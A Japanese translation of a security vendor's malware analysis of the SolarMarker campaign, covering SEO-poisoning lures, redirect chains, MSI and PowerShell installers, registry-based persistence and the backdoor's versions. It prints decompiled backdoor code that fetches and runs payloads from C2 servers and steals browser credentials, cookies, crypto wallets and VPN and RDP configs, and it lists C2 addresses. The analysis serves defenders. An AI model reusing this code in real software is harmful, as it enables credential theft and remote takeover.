** 本記事は、SolarMarker campaign used novel registry changes to establish persistence の翻訳です。最新の情報は英語記事をご覧ください。**
過去 7 か月間、SophosLabs は、情報窃取とバックドア機能を実装 (Jupyter または Polazert とも呼ばれる) する SolarMarker を配信する一連の新しい攻撃を監視しています。2020 年に初めて検出されたこの .NET マルウェアは、通常 PowerShell インストーラによって配信され、情報採取とバックドア機能を備えています。
2021 年 10 月には、検索エンジン最適化 (SEO) ターゲットと独自の MSI インストーラパッケージを組み合わせてペイロードを配信する SolarMarker 攻撃が実施されているのを観測しました。これらのインストーラは、SolarMarker バックドアを常駐させるために、通常とは異なる方法を使用していました。
これらの攻撃は、次のような共通のパターンに従っています。
SolarMarker は、悪意のある SEO 技術を使用して、複数の検索エンジンの検索結果に不正なコンテンツを含む Web サイトへのリンクを表示します。
このような SEO ポイズニングは過去にもありましたが、最近では、サービスとしてダウンローダーを運用する以外の攻撃はほとんど確認されていませんでした。
このような SEO ポイズニングは、Google グループでの共通の話題と、不正な Web サイト (通常は WordPress) 上でホストされる偽装 Web ページや PDF 文書を組み合わせて行われます。SolarMarker の攻撃者が標的とする語句の検索結果の上位付近におとりのページが表示されるほど、SolarMarker の攻撃は成功する率が高くなっています。
これらのおとりサイトは、ユーザーを欺いて Windows インストーラをダウンロードします。ダウンロードされると、悪意のある Microsoft インストーラ (.msi) ファイルは、おとりのインストールプログラムを実行すると同時に、マルウェアをインストールする PowerShell スクリプトを起動させます。
PowerShell スクリプトは、Windows レジストリを変更し、.lnk ファイルを Windows のスタートアップディレクトリにドロップして、システムに常駐します。インストールスクリプトによって変更された Windows レジストリを使用して、Windows の起動時に .lnk を読み込むと、無意味に見える他のファイルでカモフラージュされた暗号化ペイロードからマルウェアが読み込まれます。
攻撃の起点は SEO
攻撃者は、マルウェアを配信するために少なくとも 3 つの方法を使用しています。同時に 3 つすべての方法を使用する場合もありました。たとえば、以下の例では、3 つの配信方法のすべてが、汚染されたキーワードの Google 検索結果のトップ 10 に表示されています (スクリーンショット上の Method 1 ~ 3 と示されている部分)。
これらの SEO 手法では、いずれも MSI インストーラファイルの名称が検索キーワードと一致しています。
たとえば、ソフォスが復元した検体の 1 つは、good-choice-bad-choice-worksheet-for-kids.msi という名前でした。ソフォスが実際に確認した検体の中では、以下の検索キーワードが攻撃者にとっては最も有効であったようです。
SEO ポイズニングの方法 1:Google グループ
ソフォスが確認した最初の方法では、Google グループの話題を作成して SEO が行われていました。攻撃者はそれぞれ 500~600 の偽の会話エントリが含まれる複数の偽の Google グループを作成しており、さまざまなテーマの一般的な検索語をターゲットにしていました。
コメント自体には、次の例のように、PDF ファイルへのリンクと思われるもの以外、何のコンテンツもありません。
しかし、これは偽装されたリンクであり、リダイレクトサイト (hxxps://abocomteamsd[.]site/Variable-Length-File-Declaration-In-Cobol“) につながっています。これは、ダウンロードチェーンの次の要素になっています。
<a href="hxxps://abocomteamsd[.]site/Variable-Length-File-Declaration-In-Cobol"target="_blank" rel="nofollow" data-saferedirecturl="hxxps://www.google.com/url?hl=hu&q=hxxps://abocomteamsd[.]site/Variable-Length-File-Declaration-In-Cobol&source=gmail&ust=1636557011760000& usg=AFQjCNGBOEcF9QaTJVv6GoQFs_cbKH1yYw"><img alt="OEyQtsI7nXS.jpg" width="550px" height="162px" src="hxxps://groups[.]google.com/group/8pxafs/attach/3612f6b957d5d/OEyQtsI7nXS.jpg?part=0.1&view=1" data-iml="3609"></a>
この配信方法は、過去の攻撃の残余である可能性があります。分析の準備中、リンクはまだ有効でしたが、長さゼロのレスポンスが返されており、リンク先にコンテンツが残っていないことが分かりました。しかし、グループ投稿からキーワードを収集し、この攻撃者が設定しようとした検索キーワードを分析できました。以下のワードクラウドは、これらの検索キーワードの頻度を示しています。
これは、MSI インストーラから収集された統計と一致しており、この感染方法の効率性を示しています。また、攻撃者が検索キーワードの選択に特にこだわりを示していませんでした。これは、広範囲にわたって多くのターゲットの関心を惹きつけてさまざまなユーザーのタイプを狙ったことを意味します。
SEO ポイズニングの方法 2:PDF インプラント
もう 1 つのおとりでは、SEO ポイズニングに使用される最初の不正コンテンツが、Web サイトにホストされている PDF ファイルに保存されています。SEO エンジンから、PDF ファイルに直接リンクする悪意のある検索結果が返されています。
ほとんどの場合、感染した WordPress サイトが PDF ファイルのホストに使用されており、これらの Web サイトの wp-content/uploads/formidable ディレクトリに PDF が格納されています。その他のケースでは、同じ PDF コンテンツが Amazon クラウドサイトや CDN サイトに格納されています。
検索エンジンのリンクをクリックすると、Web ブラウザは Web にある通常の PDF 文書と同じように悪意のある PDF を開きます。これらの悪意のある PDF の実際の内容は、ターゲットとなる検索語のテキストと、2 つのダウンロードボタン (1 つは PDF コンポーネント用、もう 1 つは DOC 用) に限られています。
PDF ファイルのソースにある対応するコードは、これらのボタンを配布サイトである hxxps://sseiatca[.]site にリンクしています。
/Annots [<</Type /Annot /Subtype /Link /Rect [22.00 472.00 288.00 393.00] /Border [0 0 0] /A <</S /URI /URI (hxxps://sseiatca[.]site/Variable-Length-File-Declaration-In-Cobol/pdf/sitedomen/7|29279|5|1|1|1)>>>><</Type /Annot /Subtype /Link /Rect [302.00 457.00 548.00 384.00] /Border [0 0 0] /A <</S /URI /URI (hxxps://sseiatca[.]site/Variable-Length-File-Declaration-In-Cobol/doc/sitedomen/7|29279|5|1|1|1)>>>>]
SEO ポイズニングの方法 3 :Web ページの偽装
この方法も、コンテンツを配信するために、侵害された WordPress サイトを使用しますが、PDF ではなく、侵害されたサイトでホストされている HTML ページを使用します。これらの悪意のあるページの HTML ソースには、他の検索用語へのリンクのコレクションが含まれており、リンクをクリックすると、悪意のある SEO キャンペーンの一環として、侵害されている同じサーバーにある他の悪意のあるページに接続されます。
また、これらのページでは、この攻撃共通の特徴として、ページの冒頭に PdfDocDownloadsPanel という文字列を確認できます (これは、以前の SolarMarker 攻撃でも確認されています)。
このマーカー文字列は、HTML コードにも明示的に表示されています。
<span class="logo-text">PdfDocDownloadsPanel</span>
また、これらのページでは、この攻撃共通の特徴として、ページの冒頭に PdfDocDownloadsPanel という文字列を確認できます (これは、以前の SolarMarker 攻撃でも確認されています) 。
このマーカー文字列は、HTML コードにも明示的に表示されています。
このページの両方のダウンロードボタンは、異なるフォーマットのファイルをダウンロードするために設定されています。hxxps://passesleeson[.]site にある 2 つの別々のリダイレクタにアクセスして、URL で /doc と /pdf を使用してクリックさせようとしています。
<h1 class="content__caption">Variable Length File Declaration In Cobol</h1> <p class="content__caption" style=" font-size: 16px;">Filesize: 831 Kb</p> <p class="content__caption" style=" font-size: 16px;">Uploaded: July 18 2020</p> <br><p class="content__caption" style=" font-size: 16px;">Select download format:</p> <br><a href="hxxps://passesleeson[.]site/pdf/Variable-Length-File-Declaration-In-Cobol" class="button7">Download PDF</a> <a href="hxxps://passesleeson[.]site/doc/Variable-Length-File-Declaration-In-Cobol" class="button7">Download DOC</a>
リダイレクタ
上記の 3 つの SEO 攻撃の手法では、ダウンロードリンクはすべてトップレベルドメイン (TLD) .siteのサイトに接続されています。最近の攻撃では、約 100 の .site ドメインが使用されていることが確認されています。通常、このサイトを参照する URL は、次のようなものです。
hxxps://triplegnuise[.]site/Clinical-Correlation-Recommended-After-Stress-Test/pdf/sitedomen/3
元の URL の末尾にある数字パラメーター (この例では /3) は関係ありません。第 2 段階のリダイレクタサイトの大規模なプールからランダムに選択されたドメイン (以下の例では、chargraman[.]ml) を使用して、動的に作成された HTML リダイレクトコードが返されます。リンクがリクエストされるたびに、次の段階の異なるドメインが提供されます。
<meta http-equiv="refresh" content="0;URL=hxxps://chargraman[.]ml/22b0270b0a7e4dd147bc74ec3b799366/Clinical-Correlation-Recommended-After-Stress-Test/650845767/pdf">
上記の例では .ml TLD を使用していますが、これらのキャンペーンにおけるセカンドステージのリダイレクトの大部分は .tk TLD を使用しています
最近の攻撃では、約 3000 のドメインが使用されており、そのうち 2000 以上が .tk ドメインでした (残りは .ga、.ml、.cf、.gq TLD に比較的均等に分けられます) 。
第 2 段階のリダイレクト URL は、おとりとして使われた検索語を含み、HTTP レスポンスコード 302 を返して最終目的地のサーバーにリダイレクトさせます。
ダウンロードはすべて、少なくとも 2019 年からフィッシングコンテンツをホストしていた pdfdocdownloadspanel[.]site が起点になっています。このサイトは閉鎖されているため、ターゲットページの現在のバージョンを取得することはできませんでしたが、既知のケースのテレメトリにより、感染チェーンの次の部分は、おとり PDF ビューアを配信する MSI インストーラのダウンロードであることが分かっています。つまり、マルウェアに関連するテレメトリに基づき、インストーラを提供するための不正なリンクがどこかに存在しているはずです。
インストーラ
ダウンロードリンクでドロップされるインストーラファイルは、それを配信した検索文字列と一致する名前が付けられています。たとえば、上記の例では、good-choice-bad-choice-worksheet-for-kids.msi というファイル名になっています。インストーラを開くと、おとりのセットアップアプリケーション (この例では pdfelement-pro_setup_full5239.exe) が実行され、同時に PowerShell スクリプト (p.ps1 または InstallScript.ps1) が実行されます。
インストーラは、64 ビット版の Windows で実行されます。これらのインストーラは、EMCO MSI パッケージビルダーによって生成され、プレインストール用のスクリプトを含んでいます。
このスクリプトは、PowerShell インストーラを準備し、実行する一方で、おとりのインストーラも実行します。マルウェアを配信するパッケージは、通常このような仕組みになっています。
おとりの実行ファイル (このケースでは dist-x86.exe) とインストーラの PowerShell スクリプト (このケースでは InstallScript.ps1) の 2 つのファイルが含まれています。さらに、2 つのインストールアクションが定義されています。1 つ目は、展開されたメインのインストールスクリプトを実行するスクリプトで powershell.exe を実行し、2 つ目は、おとり実行ファイル (この場合は dist-x86.exe) を起動します。
今回発見した最新のスクリプトは、これに新たな工夫を加えています。これらの検体では、アーカイブ内の PowerShell インストーラファイルが base64 文字列としてエンコードされており、さらに暗号化されています。
aiQOei85cQpkRGJeQQZSIFV+K1x/cHMGaxVtRSVgb187BwoyEQwwDi4mPycmIytdKh03CRozJQUCAC4OMxgdPTw0M xYCHS0rHhwMNwwNNRgSABgzERQuJSQlJBk1NzgXKiBMGRYWIyIDECENAA0IOGQhBSYUD1wNVSV8OXsNLyY5EwM UCw5iLDQGJRkLJj8XMxgaPTIzKFkQFgY/ARQ+GwQzKSkHRB4HMDYBdTEPGz4GMDkWDyM6RQYXEEAjPwwxFFEwJS 00HSkTLzheBRUJSQUAMnAvbHFfHyUjAyYlXDYyexsNAQQMIQxHKTMQAmMBJCIYFws2ICQ1GDsHPTABFh4/ASwDEFI vHDIQIBwiNBsiJR0GNQ0HIC0NDDMIGRcAHwEDABI/JS8SCyw+MTcrJSoLHl8gFiwjG3U5EQAQKhwFHw0IOFAjFCA4cD gaeToSDDIPMRQSNQIVFi4fFDY4EDoYNyoRMjsaEjoBIhwAG3EeDAwlH0MtDyAOJDIwISU7Fg8mMD4vaCcVOSIuJBQ6D xwmGjwtQCckFCMdOCYHHg0ddjkzKWgUNzVHFScnJz83P3kiGwJ4fywXIw84EQIYGSc5JgYkJxplMyZAPBIvOw8eBiw CA3VaFgMQJgUcRi8mJlIwdAMdORkZJAQMPiEDRx9kCD4+BSINCTYOBC4ZAR4RMhUdCS
また、インストールスクリプトが若干複雑になっており、最初に PowerShell インストーラが復号化されます。
いくつかの MSI インストーラは従来型の MSI ファイルでしたが、カスタムアクションスクリプトも含まれていました。
そのケースのカスタムアクションスクリプトには PowerShell インストーラが含まれていました。
おとり
このおとりは、Wondershare PDFelement の正規のインストーラで、おとりのソーシャルエンジニアリングプロセスを完了させるためのものと思われます。
最新の MSI インストーラでは、Adobe Acrobat Pro DC Installer が別のおとりとして使用されています。これは旧バージョンであるため、実行すると最新版をダウンロードするように提案されます。
PowerShell マルウェアのインストーラ
PowerShell インストーラは、実際のマルウェアを展開し、バックドアを常駐させるためのファイルとレジストリキーを作成します。
このスクリプトには、実際のマルウェアのペイロード (base64 エンコードおよび暗号化形式) が、スクリプトの先頭の文字列変数に含まれています。ペイロードの定義に加えて、スクリプトの先頭には、マルウェアのランダムなファイル名とディレクトリ名を作成する関数と、新しい Windows レジストリ項目用のパスを作成する関数の 2 つが定義されています。
スクリプトは、以下のスクリーンショットの赤色部分のインストール手順を実行する際に、これらの関数を呼び出します。
ソフォスが調査したいくつかの検体では、インストーラスクリプトは以下のコメント行で終了しています。
#Hello for Squiblydoo
これは、2021 年初頭に確認されて公開された攻撃で使用されたインストール方法を調査したマルウェアブログへのオマージュと思われます。
常駐のためのカモフラージュ
インストーラは、感染したシステムのスタートアップディレクトリに .LNKファイルを作成して、マルウェアを常駐させます。しかし、このリンク先は、実行可能ファイルではなく、ランダムに作成されたファイル名と拡張子が設定された適当な偽装ファイルでます。マルウェアを実際に実行する方法は、このランダムな拡張子によって定義されたファイルタイプ向けに作成されたカスタムファイルハンドラのスクリプトで設定されています。これは Windows レジストリのインストーラスクリプトによって定義されます。このハンドラのスクリプト内のコマンドは、ランダムなファイルに隠された実際のペイロードを復号化して、実行します。
暗号化されたペイロードに続くインストーラスクリプトの最初の部分は、ランダムに名前を付ける機能を使って、ペイロードをドロップするディレクトリを作成します。ランダムな名前のフォルダは、%APPDATA%\AdobE というパスに作成されます。インストーラスクリプトは、%STARTUP% ディレクトリに LNK ファイルを作成し、常駐します。これはこれまでになかった方法によって行われます。この方法については、後で詳述します。
次に、スクリプトは 100 から 300 のファイルを展開してカモフラージュし、ランダムに命名されたディレクトリ .NET にこれらのファイルをドロップします。1 つの例外を除いて、これらのファイルはすべてランダムに作成されたジャンクです。しかし、同じ場所にドロップされた 1 つのファイルには、暗号化されたペイロードが含まれています。
LNK ファイル (このケースでは、ファイル名 a06f383e63a43381f156ee77d9f6f.lNk) は、これらのファイルの 1 つ (VUPQVfERpBWfmEvrhLOSNZ.NuAoeLuriIQZNSVqcO) を指しています。)
通常、このリンク先のファイルは、実行ファイルやスクリプトファイルになっています。しかし、この SolarMarker のキャンペーンでは、リンク先のファイルはランダムなジャンクファイルの 1 つであり、それ自体を実行することはできません。
結局のところ、ファイルの内容はまったく関係ありません。重要なのは、.NuAoeLuriIQZNSVqcO. という特異でランダムなファイル拡張子が使用されていることです。
ファイルをドロップすると、PowerShell インストーラは、それらに使用されるファイル拡張子を、ランダムに生成された名前 (このケースでは ocrrhvyczvnikxofwntsvx) を持つカスタムファイルタイプとして登録します。
このファイルタイプは、カスタムファイルオープンハンドラを使用してスクリプトで定義されます。このハンドラは、PowerShellスクリプトです。
反射型のローディング
ハンドラのスクリプトは、暗号化されたペイロードを含むファイル (このケースでは EhkpfRkrpDaViAPS\KfWJiiEPmkDO.fFOTagOUMEgIwBH) をロードします。次に、スクリプトにハードコーディングされたキーを使用して、XOR ビット演算でペイロードを復号化し、整えられた次のコードに示されているように、復号化された DLL を実行するために反射型のローディングを使用します。
反射的にロードされるペイロードは、Solarmarker バックドアです。
Solarmarker ペイロード
今回の調査では、バックドアの複数の亜種を確認されていますが、主な違いは、内部のバージョン番号、C2 サーバー、通信に使用する RSA キーです。それぞれの亜種はバージョン ID の文字列で識別されます。
public string AppVer = "IN-3";
複数のバージョンが同じサーバーと通信し、各サーバーに固有の鍵が存在しています。
バージョン | C2 サーバー |
DR/1.6 | http://45.146.165.221 |
DR/1.7 | http://91.241.19.110 |
IN-1
IN-2 IN-3 IN-9 IN-10 |
http://46.102.152.102 |
IN-13 | http://185.244.213.64 |
IN-10
RB-7 |
http://192.121.87.53 |
J12 | http://5.254.118.226 |
J13 | http://23.29.115.175 |
J15
J16 |
http://92.204.160.110 |
SP-W1 | http://146.70.24.173 |
SP-W2 | http://69.46.15.151 |
AG-3
AG-5 AG-8 AG-9 |
http://167.88.15.115 |
AG-13
SP-1 SP-3 |
http://216.230.232.134 |
SP-5
SP-7 SP-10 SP-11 |
http://37.120.237.251 |
SP-13
SP-16 |
http://45.42.201.248 |
SP-17
SP-18 |
http://188.241.83.61 |
SP-21
OC-1 OC-3 OC-4 |
http://146.70.41.157 |
NV-1
NV-4 NV-5 NV-6 OC-11 |
http://92.204.160.233 |
OC-8
OC-9 |
http://37.221.114.23 |
OC-7 | http://149.255.35.179 |
OC-W1 | http://104.223.123.7 |
バックドアの古いバージョンでは、ブラウザのデータ窃取、暗号通貨ウォレットの窃取、コマンドの実行など、さまざまな機能を提供していました。しかし、最近のバックドアの亜種には、以下のような、一部の機能しかありません。
- リモートサーバーにある deflate+base64 でエンコードされたブロブからデコードされた PowerShell コマンドを実行する。
- リモートサーバーから取得した .EXEファイル (最初に %TEMP% に保存された) を実行する。
バックドアのすべてのバージョンにおいて、コードには不要なスレッド作成コードフラグメントが多数含まれています。これらは、コードの可読性を損ない、実行を遅延させているだけであり、特に何も実行していません。たとえば、以下のコードには多くの不要な部分が含まれています。
ジャンク部分を取り除いた後、コードは次のように単純化されます。
OperatingSystem oSVersion = Environment.OSVersion; string text; switch (oSVersion.Version.Major) { case 5: text = "XP"; goto IL_16B; case 6: { switch (oSVersion.Version.Minor) { case 0: text = "Vista";
進化するバックドア
最新バージョンのバックドアの機能は、確認できた最も古いバージョンと基本的に同じであることは注目に値します。(sha1: 6ccbde9f29fe59077e218b5dc294ca179bd54522, バージョン ID : DR/1.6 、タイムスタンプ 2020 年 11 月)。また、C2 サーバーから受信した .EXE プログラムの実行を許可していました。
string text3 = string.Concat(new object[] { Environment.GetEnvironmentVariable("temp"), '\\', M.GenRandomString(24), ".exe" }); byte[] bytes2 = M.DecryptRaw(M.Req(addr, … File.WriteAllBytes(text3, bytes2); Process.Start(text3);
そして、C2 サーバーから受信した PowerShell ファイルも実行していました。
string text2 = string.Concat(new object[] { Environment.GetEnvironmentVariable("temp"), '\\', M.GenRandomString(24), ".ps1" }); byte[] bytes = M.DecryptRaw(M.Req(addr, … File.WriteAllBytes(text2, bytes); Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "-ep bypass -command \"iex(get-content '" + text2 + "')\"", WindowStyle = ProcessWindowStyle.Hidden }); Thread.Sleep(15000); File.Delete(text2);
最後に、C2 サーバーから文字列として受信した PowerShell コマンドを実行しました
else if (value == "command") { string value2 = ((M.JsonValue)jsonObject.Get("task_id")).value; string value4 = ((M.JsonValue)jsonObject.Get("command")).value; Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "-ep bypass -command \"" + value4 + "\"", WindowStyle = ProcessWindowStyle.Hidden });
この最も古いバージョンでは、C2 サーバーに送信されるデータは、ハードコーディングされたキーを使用する XOR アルゴリズムで暗号化されていました。この暗号化方式は、後に、さらに安全な RSA 暗号化方式に置き換えられました。
SA 暗号化通信に加え、後の亜種では他の機能も追加され、古いものは削除されました。たとえば、バージョン J13 (sha1:55c692913894a282189e0dff5dcd60e29ad89046 、タイムスタンプ 2021 年 9 月) では、リモート実行オプションは提供されていません。その代わり、ブラウザのデータを収集し、C2 サーバーに送信します。
if (File.Exists(directoryInfo2.FullName + "\\logins.json") && File.Exists(directoryInfo2.FullName + "\\key4.db") && File.Exists(directoryInfo2.FullName + "\\cert9.db") && File.Exists(directoryInfo2.FullName + "\\cookies.sqlite") && File.Exists(directoryInfo2.FullName + "\\formhistory.sqlite")) { this.a = this.f(directoryInfo2.FullName + "\\cert9.db"); this.b = this.f(directoryInfo2.FullName + "\\key4.db"); this.c = this.f(directoryInfo2.FullName + "\\logins.json"); this.d = this.f(directoryInfo2.FullName + "\\cookies.sqlite"); this.e = this.f(directoryInfo2.FullName + "\\formhistory.sqlite");
このバージョンは、複数のブラウザ (Chrome、Edge、Brave、Opera、Firefox) を対象としています。
{ '\\','A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','G','o','o','g','l','e', '\\','C','h','r','o','m','e','\\','U','s','e','r',' ','D','a','t','a' }), list); Main.a(Main.a(new char[] { 'e','d','g','e' }), environmentVariable + Main.a(new char[] { '\\','A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','M','i','c','r','o','s','o','f','t', '\\','E','d','g','e','\\','U','s','e','r',' ','D','a','t','a' }), list); Main.a(Main.a(new char[] { 'o','p','e','r','a' }), environmentVariable + Main.a(new char[] { '\\','A','p','p','D','a','t','a','\\','R','o','a','m','i','n','g','\\','O','p','e','r','a',' ','S','o','f','t','w','a','r','e','\\','O','p','e','r','a',' ','S','t','a','b','l','e' }), list); Main.a(Main.a(new char[] { 'b','r','a','v','e' }), environmentVariable + Main.a(new char[] { '\\','A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','B','r','a','v','e', 'S','o','f','t','w','a','r','e','\\','B','r','a','v','e','-','B','r','o','w','s','e','r', '\\','U','s','e','r',' ','D','a','t','a' }), list); try { Main.k k = new Main.k(Main.a(new char[] { 'f','i','r','e','f','o','x' }), environmentVariable + Main.a(new char[] { '\\','A','p','p','D','a','t','a','\\','R','o','a','m','i','n','g','\\', 'M','o','z','i','l','l','a','\\','F','i','r','e','f','o','x','\\','P','r','o','f','i','l','e','s' }));
バージョン J12 (sha1: ee19506006b67c58933b471597e777b2675fba92 、コンパイル時期 2021 年 9 月) では、機能としてクリプトウォレット窃盗を追加しています。
string environmentVariable = Environment.GetEnvironmentVariable("userprofile"); string text = environmentVariable + "\\AppData\\Roaming"; string text2 = environmentVariable + "\\AppData\\Local"; Main.a(list, "Atomic", "Wallet", "*", text + "\\atomic\\Local Storage\\leveldb", false); Main.a(list, "Guarda", "Wallet", "*", text + "\\Guarda\\Local Storage\\leveldb", false); Main.a(list, "SimpleOS", "Wallet", "*", text + "\\simpleos\\Local Storage\\leveldb", false); Main.a(list, "Neon", "Wallet", "*", text + "\\Neon\\Local Storage\\leveldb", false); Main.a(list, "Wasabi", "Wallet", "*", text + "\\WalletWasabi\\Client\\Wallets", false); Main.a(list, "MyMonero", "Wallet", "*.mmd*", text + "\\MyMonero", false); Main.a(list, "Jaxx", "Wallet", "*", text + "\\Jaxx\\Local Storage\\leveldb", false); Main.a(list, "Jaxx", "Wallet", "*", text + "\\com.liberty.jaxx\\IndexedDB", false); Main.a(list, "Electrum", "Wallet", "*", text + "\\Electrum\\wallets", false); Main.a(list, "Ethereum", "Wallet", "*", text + "\\Ethereum\\keystore", false); Main.a(list, "Exodus", "Wallet", "*", text + "\\Exodus\\exodus.wallet", false); Main.a(list, "GreenAddress", "Wallet", "*", text + "\\GreenAddress Wallet\\Local Storage\\leveldb", false); Main.a(list, "Coin Wallet", "Wallet", "*", text + "\\Coin Wallet\\Local Storage\\leveldb", false); Main.a(list, "Bither", "Wallet", "*", text + "\\Bither", false); Main.a(list, "Coinomi", "Wallet", "*", text2 + "\\Coinomi\\Coinomi\\wallets", false); Main.a(list, "Ledger Live", "Hardware wallet", "*.json", text + "\\Ledger Live", false); Main.a(list, "Trinity", "Hardware wallet", "*.realm", text + "\\Trinity", false); Main.a(list, "Scatter", "Hardware wallet", "*.json", text + "\\scatter", false); Main.a(list, "Unknown?", "Wallet?", "*wallet*.dat", text, false); Main.a(list, "Unknown?", "Wallet?", "*.wallet", text, false); Main.a(list, "Unknown?", "Wallet?", "*wallet*.dat", text2, false); Main.a(list, "Unknown?", "Wallet?", "*.wallet", text2, false); string[] directories = Directory.GetDirectories(text, "Electrum-*"); string[] array = directories; for (int i = 0; i < array.Length; i++) { string str = array[i]; Main.a(list, "Electrum", "Wallet", "*", str + "\\wallets", false); }
この亜種では、上記のコードに示すように、SolarMarker は以下の暗号化通貨のウォレットを収集します。
- Atomic
- Guarda
- SimpleOS
- Neon
- Wasabi
- MyMonero
- Jaxx
- Electrum
- Ethereum
- Exodus
- GreenAddress
- Coin
- Bither
- Coinomi
- Ledger
- Trinity
- Scatter
さらにこの亜種は、VPN と RDP のコンフィグを収集します。
Main.a(list, "OpenVPN?", "VPN?", "*.*vpn", environmentVariable, true); Main.a(list, "RDP", "RDP", "*.rdp", environmentVariable, true);
最新のバージョン
ソフォスが分析した最新のバージョンでは、次のようなパスのテキストファイルが作成されます。
%PROFILE%\AppData\Roaming\279285253294232222272216305245290297297239249276271219226274280293290274218258302282286231248295323257262221246241273.awYKBgIaGxZ3DQM=
このファイルのコンテンツはエンコードされた文字列 (このケースでは、2CJDEX5HFXHRXL3FK53CXRS9U8L5EDDC) で、%APPDATA% 内のファイルコンテンツから生成、または空の場合はランダムに生成される一意のシステム ID (HWID) として機能します。
バックドアは、次の基本的な設定データを含む C2 サーバーへの JSON メッセージを使用して C2 サーバーにコールバックします。
{"action":"ping","hwid":"A8IFX8YU3NJIU8PFJ0XFMMXDCWFQT9UG","pc_name":"{redacted}","os_name":"Win 7","arch":"x86","rights":"User","version":"OC-8","workgroup":"? | ?","dns":0,"protocol_version":2}
このメッセージは、ハードコーディングされた RSA キーで暗号化されてサーバーに送信されます。
<Main> <Modulus>q7lnDVdxQRSYhRPYcqRaqkwV9sRGLxrKNMOSsxFSdJ30bswOmMHEeUe7Z/3rGI3dmlnSC77I/ qwWkzf73lF+SPFmIw4ma84JIVDW76k+eEP2iguC9zGNXaPBajogFRf8K2HgIwF/eni/wmnrtzhryxIE5mNJzAREsICbA/ /RzfTU3C7JPlkCys0q9uVlkQLO9ijQHyHuUE+uk0nGk2+0t91hW+efqz5i8iy92hFm3dnD005mogpXA+18pFeFu8x1hrr PFhaHY9m1Xl7oyBZ8nnol4uDdPNzkGNCsUOZtSVQE8wZc5yaFKBU2uuCl8IHaQMhENrNMR0EWlMTYgrAWYw== </Modulus> <Exponent>AQAB</Exponent> </Main>
さらにサーバーとの通信は、オリジナルのコンフィグバッファで暗号化されます。
つまり、最初に C2 サーバーに報告するコールの通信データは非対称 RSA アルゴリズムでハードコーディングされた RSA キーを使って暗号化され、残りの通信は対称 AES CBC アルゴリズムでコンフィグバッファがキーとして使用されています。
C2 サーバーは、いくつかのサーバー名から選択され、解析した検体では、hxxp://37[.]221.114.23 という単一のエントリのみが含まれています。
前述のとおり、このバージョンのバックドア機能は、次の段階のコードを実行するだけになっています。つまり、バックドアは以下のような多段階型のアプローチを採用しています。
- Windows の実行ファイルをダウンロードし、実行する。
- PowerShell スクリプトをダウンロードし、実行する。
- .Net DLL をダウンロードし、ロードする。
- 文字列として受け取った PowerShell コマンドを実行する。
PowerShell とコマンドの実行は同じように行われます。ペイロードは base64でエンコードされた圧縮 gzip ストリームであることが多くあります。
.Net モジュールがメモリにロードされ、Module.Main クラスの Run 関数が実行されます。
mpool.a9bd1e9d79f46a96330eecb53f054(Program.ad10fd14022445bfbbcdf53ea0fba(Program.get_msg_get_file(cfg.hwid, text4), cfg), Program.chararray_to_str(new char[] { 'M','o','d','u','l','e','.','M','a','i','n' }), Program.chararray_to_str(new char[] { 'R','u','n' }), str3);
結論
現在、SolarMarker の拡散攻撃は、攻撃者が使用していた最終的なダウンロードサイトが閉鎖されたため、進行しているものはありません。しかし、SolarMarker 攻撃は依然として活発であり、2021 年 11 月以降、このマルウェアの検出数は減少しているものの、マルウェア自体が消滅したわけではありません。新たなインフラを利用した新たな攻撃が開始されるのは時間の問題かもしれません。
防御側は、既知のマルウェアの配信方法 (フィッシングメール、リモートデスクトッププロトコル (RDP) の悪用、リモートコードの実行の脆弱性) への対応を中心とする傾向がありますが、サービスとしてマルウェアを配信する方式も存在しており、SEO を悪用する攻撃も頻繁に発生しています。このような配信方法にはあまり注意が払われていないため、SEO を利用した攻撃を受けると、ペイロードが展開されるまで検出できずに、手遅れとなる恐れがあります。
組織は、SEO ポイズニングのリスクと、悪意のある検索結果を特定する方法について、ユーザーを啓蒙しなければなりません。しかし、このような啓蒙を行って、標的を絞り込んだ検索キーワードによる悪意のあるダウンロードを防止することは困難であることから、徹底した防御策を講ずることが重要です。
ソフォスは、PowerShell インストーラを Troj/PS-JA として、反射型ローダを AMSI/SolarM-A として、最終的なペイロードを Mal/Polazert-A として検出します。SolaerMarker の IOC のリストは SophosLabs の GitHub ページで公開されています。